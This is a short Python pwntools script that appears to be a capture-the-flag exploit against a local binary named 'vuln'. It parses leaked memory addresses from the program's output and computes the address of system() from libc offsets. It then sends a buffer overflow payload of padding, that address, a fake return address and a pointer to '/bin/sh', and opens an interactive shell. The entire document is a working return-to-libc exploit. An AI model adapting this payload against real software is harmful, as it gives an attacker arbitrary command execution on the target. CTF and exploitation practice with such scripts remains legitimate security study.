#!/usr/bin/python
from pwn import *
import re

conn = process('./vuln')

res = conn.read()
print res
addr_list = re.findall("0x[0-9a-f]+", res)
print addr_list

# payload + address of system(caculate by offset of read and system) + fake return address + '/bin/sh'
conn.sendline("A" * 0xa0 + p32(int(addr_list[2], 16) - 0xd5b00 + 0x3ada0) + p32(0) + p32(int(addr_list[4], 16)))

conn.interactive()